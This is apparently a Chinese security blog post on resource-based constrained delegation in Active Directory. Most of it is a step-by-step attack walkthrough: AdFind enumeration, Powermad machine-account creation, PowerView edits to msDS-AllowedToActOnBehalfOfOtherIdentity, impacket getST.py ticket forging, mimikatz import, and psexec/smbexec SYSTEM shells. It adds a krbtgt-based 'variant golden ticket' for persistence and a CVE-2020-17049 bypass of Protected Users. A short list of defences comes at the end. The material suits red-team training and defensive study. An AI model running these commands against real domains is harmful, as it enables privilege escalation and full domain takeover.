基于资源的约束委派

什么是基于资源的约束委派

为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。

上面”基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员”,这就导致了正常只要是域用户都有权限进行委派操作。

与约束委派最大的不同点,就是”基于资源”这四个字,如何理解”基于资源”?在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中

基于资源的约束性委派的优势

  • 委派的权限授予给了拥有资源的后端,而不再是前端
  • 约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehaffOtherldentity属性权限也就是将计算机加入域的域用户和机器自身拥有权限。

约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
  • 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。

三个重要的域属性合集

关于ms-DS-CreatorSID

一个场景,比如你通过ske这个域账户来登录当前的ttkq的机器中,然后将其加入到一个指定的域,然后账号密码用的就是ske这个账户密码,那么这个ttkq机器中的ms-DS-CreatorSID保存的就是当前ske用户的SID

关于msDS-AllowedToActOnBehalfOfOtherIdentity

image-20220218014124021

上面图中字段的内容为

D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4223269421-3390898629-3395902804-1119)

这个值是基于SDDL的语法的,自己笔记中有记录过,这里的话意思就是在SID为

S-1-5-21-4223269421-3390898629-3395902804-1119

上配置了基于资源的约束委派,也就是

S-1-5-21-4223269421-3390898629-3395902804-1119

对应的用户/机器对当前WIN-SKE-PC具有委派资源的权力

ms-DS-MachineAccountQuota

这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户

为什么需要这个呢?这里还需要引出一个S4U2Self其中的一个知识点

因为基于资源的约束委派中需要用到S4U2Self和S4U2Proxy,又因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,所以就需要通过MachineAccountQuota来创建一个SPN的账户来进行委派配合
,而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的

知识点:

1、传统的约束委派S4U2Self返回的票据一定是可转发的(Forwardable标记),如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。

2、基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。

基于资源的约束委派攻击本地提权

前提

  • 在很多企业内部,都会有一个专门将机器加入域的账号。如果我们能够拿到该账号的权限,则我们能够拿到通过该账号加入域的所有机 器的system权限。
  • 如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。

攻击者可以查询域内计算机的 mS-DS-CreatorSID ,这个值代表的是将计算机加⼊到域内的⽤户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity 的权限的,如果我们可以拿到那个⽤户的凭据,就可以控制那 个⽤户添加到域内的所有的电脑。

攻击原理

⾸先添加机器账户,修改 msDS-AllowedToActOnBehalfOfOtherIdentity 值为机器账户的 sid ,然后以机器 账户的身份伪造成 administrator 申请⼀张访问此机器账户机器的 ticket (类似于⽩银票据),因为机器账户没 有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对 之后对 s4u2proxy 不影响,最后利⽤这张 ticket 去申请访问修改了 msDSAllowedToActOnBehalfOfOtherIdentity 属性的机器。

攻击利⽤

这里用的是渗透攻击红队的pdf

saulgoodman.cn 域环境:

image-20220218015226680

这里其实是在win7里面操作的

image-20220218015417945

其中 saulgoodman 这个域⽤户就是加域⽤户 ,可以发现saulgoodman 不是 win7 机器的本地管理员。,就可以通过 saulgoodman 域⽤户提权到 adminsitrator

在 saulgoodman.cn 域中,saulgoodman 域⽤户负责将 web-2008 的机器或者 Win7 机器加⼊到 saulgoodman.cn 域⾥,那么当我们拿下 saulgoodman 这个域⽤户的权限后,就可以拿下域内 web-2008 的域机 器和 win7的域机器。

假设我们已经获取到加域机器的 saulgoodman 的账户密码:

image-20220218015547462

1、通过 ADfind 查询每个域机器是由哪个域⽤户添加进域的,通过 mS-DS-CreatorSID 查看域⽤户的 sid:

命令:AdFind.exe -h 10.0.0.12 -u saulgoodman -up admin!@#45 -b “DC=saulgoodman,DC=cn” -f “objectClass=computer” mS-DS-CreatorSID

image-20220218015707643

得到 win7 机器是 sid: S-1-5-21-3258976832-1609833424-2410015844-1108 的⽤户加⼊到域的。

那么问题来了,我们怎么知道 S-1-5-21-3258976832-1609833424-2410015844-1108 是那个域⽤户的 sid 呢? 2、若是想要查询每个域⽤户的 sid 就可以使⽤ sid2user 来帮助我们完成:(需要把 - 去掉)

image-20220218015800924

这个时候就知道了 sid: S-1-5-21-3258976832-1609833424-2410015844-1108 是域⽤户 saulgoodman 。

这些操作 是对前面如何确定saulgoodman 具有修改msDS-AllowedToActOnBehalfOfOtherIdentity权限的过程

然后进行下面的操作

我们需要添加⼀个机器⽤户,因为需要⽤机器⽤户去申请票据,本身的 win7 机器账户我们不知道他的密码所以⽆ 法申请票据,所以我们需要添加⼀个机器⽤户,⽤来帮助我们申请票据。

3、然后利⽤ powermad 添加机器账户: 下载地址:https://github.com/Kevin-Robertson/Powermad

/# 添加⽤户 goodman 密码 123456

powershell

Set-ExecutionPolicy Bypass -Scope Process

. ./Powermad.ps1

New-MachineAccount -MachineAccount goodman -Password $(ConvertTo-SecureString “123456” -AsPlainText -Force)

验证是否添加成功 net group “domain computers” /domain

net group “domain computers” /domain

image-20220218020123600

此时就有了⼀个域机器账户 goodman:

image-20220218020157535

4、获取 goodman 的 object Sid:得到了 sid 为: S-1-5-21-3258976832-1609833424-2410015844-1116 。 下⾯是修改 win7 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值,使⽤ Powerview :https://git hub.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

这里获取goodman 新建的机器用户的sid 这里pdf是从域控上直接查看的 也可以用其他的方式来获取goodman的sid

5、配置 goodman 到 win7 的基于资源的约束委派:

powershell

Set-ExecutionPolicy Bypass -Scope Process

. ./powerview.ps1

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD: (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3258976832-1609833424-2410015844-1116)” $SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer win7| Set-DomainObject -Set @{‘msdsallowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose

image-20220218020608083

验证是否成功添加:

Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity

image-20220218020624672

若想清除 msds-allowedtoactonbehalfofotheridentity 属性的值,可⽤如下命令:

Set-DomainObject win7 -Clear ‘msds-allowedtoactonbehalfofotheridentity’ -Verbose

6、使⽤ impacket的 getST.py ⽣成票据(建议使⽤ socks5),会在当前⽬录下⽣成 administrator.ccache ⽂ 件:

python getST.py -dc-ip 10.0.0.12 saulgoodman.cn/goodman/$:123456 -spn cifs/win7.saulgoodman.cn -impersonate administrator

image-20220218020732614

7、之后使⽤ mimikatz 导⼊票据:

kerberos::ptc administrator.ccache

image-20220218020756855

此时就能成功访问 Win7 了,这就是基于资源的约束委派攻击利⽤的整个流程

如果想弹shell 也可以这样

通过impacket工具包中的getST.py来进行利用,执行如下命令:

python getST.py -dc-ip 192.168.4.11 hengge.com/ttkq$:admin@123 -spn cifs/WIN-SKE-PC -impersonate administrator

创建票据的环境变量

1
set KRB5CCNAME=administrator.ccache

然后继续导入ST票据,通过psexec来进行连接测试

1
python psexec.py -dc-ip 192.168.4.11 hengge.com/administrator@WIN-SKE-PC -k -no-pass

image-20220218021017465

system权限

这里smbclient也是一样的用法

1
python smbclient.py -dc-ip 192.168.4.11 hengge.com/administrator@WIN-SKE-PC -k -no-pass

image-20220218021101717

利用基于资源的约束委派打造变种黄金票据(权限维持)

如果这里我们假设服务B为krbtgt,服务A为我们控制的一个账号。配置服务A到服务B的基于资源的约束性委派, 那么我们控制的账户就可以获取KDC(Key Distribution Centre)服务的ST服务票据(也就是TGT认购权证)。于是我 们就可以伪造任何权限用户的TGT认购权证,来打造一个变种的黄金票据了!

image-20220219140351200

首先在我们控制的普通域用户中创建一个机器账户:service5$ 密码为:root

image-20220219140509933

然后来到域控执行

配置krbtgt到service5$的基于资源的约束性委派

shell powershell Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount service5$

shell powershell Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

image-20220219140719541

然后切换到物理机 这里是不需要在域控的

sudo python3 getST.py -dc-ip 10.211.55.4 -spn krbtgt -impersonate administrator xie.com/service3/$:root

export KRB5CCNAME=administrator.ccache

python3 smbexec.py -no-pass -k administrator@AD01.xie.com -dc-ip 10.211.55.4

image-20220219140854724

直接获取了域控的权限

域控改密码了也没事

域委派攻击防范措施

  • 高权限的用户,设置不能被委派
  • 主机账号需设置委派时,只能设置为约束性委派;
  • Windows 2012 R2及更高的系统建立了受保护的用户组Protected Users,组内用户不允许被委派,这是有效的手段。受保护的用户组,

image-20220219141610045

设置为不可委派

设置之后 就不能获取票据了

image-20220219142445276

但是可以绕过

利用CVE 2020 17049

image-20220219142535595

设置之后的流程是这样

image-20220219142619886

所以不会返回票据

但是绕过这个 是通过逻辑漏洞

我们主动修改forwardable 为1

然后就进入右边的流程 又因为配置了委派 所以能返回票据

image-20220219142742572

image-20220219142755835

image-20220219142808724

设置之后 就能返回票据了

漏洞预防和修复

image-20220219142950422

参考:渗透攻击红队

谢公子


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!